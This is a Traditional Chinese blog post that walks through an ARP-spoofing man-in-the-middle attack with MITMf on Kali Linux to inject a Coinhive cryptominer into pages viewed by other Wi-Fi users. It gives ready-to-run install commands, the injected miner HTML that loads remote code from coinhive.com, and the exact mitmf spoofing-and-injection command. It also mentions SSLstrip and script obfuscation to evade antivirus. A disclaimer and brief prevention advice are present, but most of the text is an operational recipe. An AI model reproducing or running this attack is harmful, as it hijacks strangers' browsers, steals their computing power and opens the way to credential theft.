跳到主要內容

實作以 ARP spoofing 在用戶瀏覽的網頁中植入 Coinhive 挖礦程式,三分鐘駭入區網,一連上 Wi-Fi 可能就被植入挖礦程式碼甚至盜取錢包,新型態的殭屍礦工你也中標了嗎?



這篇文章的重點是要強調利用 MITM (中間人) 的網路攻擊有多簡單達成,即便是對於完全不熟悉程式編寫或指令系統的人,也能很輕易的在三分鐘內駭掉一台 Wi-Fi Router 與使用者間的連線來進行內容竄改 (植入挖礦程式、鍵盤側錄…等),或許這對於資安專家來說只是雕蟲小技不足掛齒,但對一般網路使用者已經可以構成極大的威脅。


也要呼籲所有內容僅供研究與沙箱模擬,若操作在不知情且未經同意的網路使用者上是違反我國刑法第三十六章「妨害電腦使用罪」。所有程式內容也並非由我所撰寫,若有非法操作蓄意造成他人財物損失我一概不負責。

MITM 攻擊原理

以 ARP spoofing 達成的 MITM (Man-in-the-middle) 網路攻擊原理其實也非常簡單,就如上圖所示在用戶 (Client) 向主機端 (Server) 調閱資料時,中間人 (MITM) 從中製造一個假的中繼站偽裝成主機,讓所有資訊都必須經他手才能達到用戶或主機手上,而在 Wi-Fi Router 的情境裡只不過把這個過程搬到了區域網路,駭客假裝成 Gateway (閘道) 經手所有資訊傳輸,就能在其中植入有害的程式碼,甚至更嚴重的可能會盜取使用者的加密貨幣錢包。




操作環境 - Kali Linux

那在 MITM 的操作環境我會選擇 Kali Linux,本身就有很齊全的程式庫和相關套件,使用一般的 Linux 發行版 (如 Ubuntu、Debian…等) 也是可以的,但要將 MITMF 缺少的依附安裝妥善後才能正確使用。而 Windows 系統則可以使用 VMware 虛擬機安裝 Kali Linux 成為虛擬系統來操作,不論是完整安裝或建置虛擬機的 ISO 都可以在 Kali Linux 官網下載,安裝過程就不贅述。




前置作業

apt-get update 
apt-get install mitmf
pip install Twisted==15.5.0
在 Kali Linux 環境下正常來講只需要上述這三個指令 (系統更新、安裝 MITMF、安裝 Twisted) 就可以完整部屬 MITMF 工具。

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
如果是其他的 Linux 發行版建議先打上述指令安裝相關需要的程式庫,如果出現權限不足等錯誤在前面加上 sudo 使用管理員權限執行即可。安裝 MITMF 仍遇到其他錯誤可以參考 GitHub 的 Installation 文件有針對不同環境的說明。


<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
      var miner = new Coinhive.Anonymus('API key');
      miner.start();
</script>
MITMF 安裝完成後就要建立拿來植入使用者的 .html 檔案或 .js 腳本,如果要以 Coinhive 挖礦程式碼為例,我們可以建構一個最簡單的 .html 檔案 (如上) 先呼叫 Coinhive 的挖礦腳本再置入一個物件讓它直接開始挖礦。然後將這個檔案存成 miner.html 供稍後植入使用。

alert("警告,你已經被植入了挖礦程式!");
那為了方便分辨有沒有植入成功,可以在 <script> 內多加一行 Alert ,只要有成功植入就會有很清楚的彈窗警告。 


route -n
先用 route -n 指令查看自己的網路介面,將 Gateway (閘道)Iface (介面名稱) 兩項記起來供稍後 ARP spoofing 使用,Gateway 會因路由器設定而相異,Iface 沒有意外的話則都是 wlan0。



駭入區網、植入挖礦程式

mitmf --inject --html-file /root/miner.html --spoof --arp --gateway Gateway -i Iface 
再來就可以執行這整個 ARP spoofing 到植入 .html 檔的流程了,只需要更改剛剛建立的 miner.html 路徑以及將 Gateway 與 Iface 填入即可。


同時間,正在使用同個 Wi-Fi (區網) 的使用者在看網頁時就被植入了 Coinhive 的挖礦程式,可以看到剛剛寫的 Alert 有跳出來,當然真正想偷你電腦算力來挖礦的人並不會這麼好心提醒你。 

使用這種 ARP spoofing 的攻擊模式你根本不需要「入侵」任何東西,只要假冒成 Gateway 就能經手大部分從本機傳到 Router 的資訊,換句話說你只要連到任何咖啡廳、商店的 Wi-Fi 就能偷偷幫它們的使用者「加料」,但其實這都還算是非常「無害」的作法,植入挖礦程式頂多讓你電腦運作變慢用起來卡卡,那如果是植入側錄鍵盤的程式呢?可能你的帳號密碼就要落到不肖人士手中了。




如何預防?

那難道它沒有弱點也無法反制嗎?其實以我實作的方法並沒有辦法對 SSL 的頁面有針對手段,加密的通訊可以直接免疫 ARP spoofing,但在 MITMF 工具裡就有打包了一個叫 SSLstrip 的套件,它就是專們針對有瑕疵的 HTTPS 頁面進行破解,很多企業的網站 (包括上面被植入的 IMDb) 它們在一般頁面都是使用 HTTP 而已,轉到登入頁面才使用加密通訊的 HTTPS,那就會被駭客針對 HTTP 轉 HTTPS 的這個弱點來製造假的登入頁面誤導你填入帳號密碼,所以以後在輸入帳號密碼時一定要再三留意網址列的 HTTPS 和顯示安全字樣。 


一定會有人有疑問,像植入 Coinhive 這種挖礦腳本應該一下就被防毒軟體或瀏覽器 AdBlock 這類的 Plugins 識破了阿,受害的人數應該很少才對?其實 Javascript 腳本可以透過 AES 加密來讓防毒軟體、AdBlock 無法判讀是否有害,這種加密模式原本是被用來不讓任何人都能直接得到原始碼去作修改,目的在保障開發者的智慧財產權,但被利用於混淆防毒軟體植入有害程式也是壞了這一番美意。(圖片取自 G. T. Wang)


所以要呼籲大家不要隨便連上不明來源的 Wi-Fi (即便是餐廳、商店…等),也要盡量避免在不熟悉的網路輸入任何重要的帳號密碼,確認登入頁面的 HTTPS 和安全字樣才能保障資訊安全。更重要的是安裝最新版病毒定義檔的防毒軟體和啟用本機防火牆,確保電腦不被不肖人士入侵。






留言



這個網誌中的熱門文章

Linux (Ubuntu) 查詢硬碟容量、剩餘大小指令

在 Ubuntu Desktop 版本或有安裝 GUI 像 Xfce 的 Server 版本當然可以直接從圖形介面查看硬碟容量和已經使用的大小, 但如果是在純 CLI 版本或使用 SSH 連線時呢?那就需要用到指令了。 顯示硬碟容量、已使用、可用大小。 df -h 查詢資料夾所占硬碟的大小。 du -h 查詢檔案大小 ls -l

RealVNC - 支援多系統的 VNC Viewer,免費遠端桌面客戶端 (Windows / Linux (Ubuntu) / Raspberry Pi /...)

對於不熟悉 SSH 介面的使用者來說可能第一個想法都會是使用遠端桌面,但要知道大多數的 VPS 主機都是提供 Linux 系統 (Ubuntu / RedHat / Debian...等),它們架好的 VNC Server 多半是沒辦法直接以 Windows 系統內建的「遠端桌面連線」來操作的,就好像兩端的通道是開了起來但卻仍說著不同的語言,所以就需要專用的 VNC Viewer 來連線, 而 RealVNC 支援非常多不同的作業系統環境,包括 Windows、Linux、Raspberry Pi、Android、iOS...等,幾乎可以說是一應具全啦。 RealVNC 官方網站:  https://www.realvnc.com/en 下載頁面:  https://www.realvnc.com/en/connect/download/viewer 只要從 「File > new connection」 就可以新增一個連線,爾後只要點選介面中已設定好的連線就可以隨時進入遠端主機,而主機端 (VPS) 也記得要先架設好 VNC Server 和新增防火牆例外,避免被拒絕的連線。

如何將 ISO 檔上傳到 VMware ESXi 6.5 並且用虛擬光碟開機?適用於安裝 Linux 或其它作業系統

在將實體機器使用  VMware ESXi 6.5 虛擬化之後就可以在它所提供的網頁管理介面操作每個虛擬個體,但要怎麼把用來安裝系統的 ISO 檔傳到虛擬機呢?而這些 ISO 檔會需要做成開機隨身碟的模式才能用嗎? 其實 ESXi 6.5 可以直接建立一個虛擬光碟機來驅動安裝系統用的 ISO 檔 ,所以安裝起來甚至會比實體機更簡單方便。 首先進到 ESXi 的管理介面 > 儲存區 ,點選 資料存放區瀏覽器 。 然後就能上傳事先下載好的 ISO 檔,不一定要存在哪一層路徑或特定位址,但建議新開一個資料夾方便整理,之後也可以直接指定這個路徑內的 ISO 檔。 然後在 虛擬機電源關閉 的情況下進入編輯設定。 新增一台 CD/DVD 光碟機。 選擇資料存放區 ISO 檔案。 瀏覽到剛剛上傳 ISO 檔的位址。 並且在虛擬機器選項的地方強制在 下次開機時強制進入 BIOS 設定畫面。 然後啟動虛擬機電源並開機後 到 Boot 的地方將 CD-ROM Drive 順位提高 ,就能以剛剛掛載的虛擬光碟機開機了。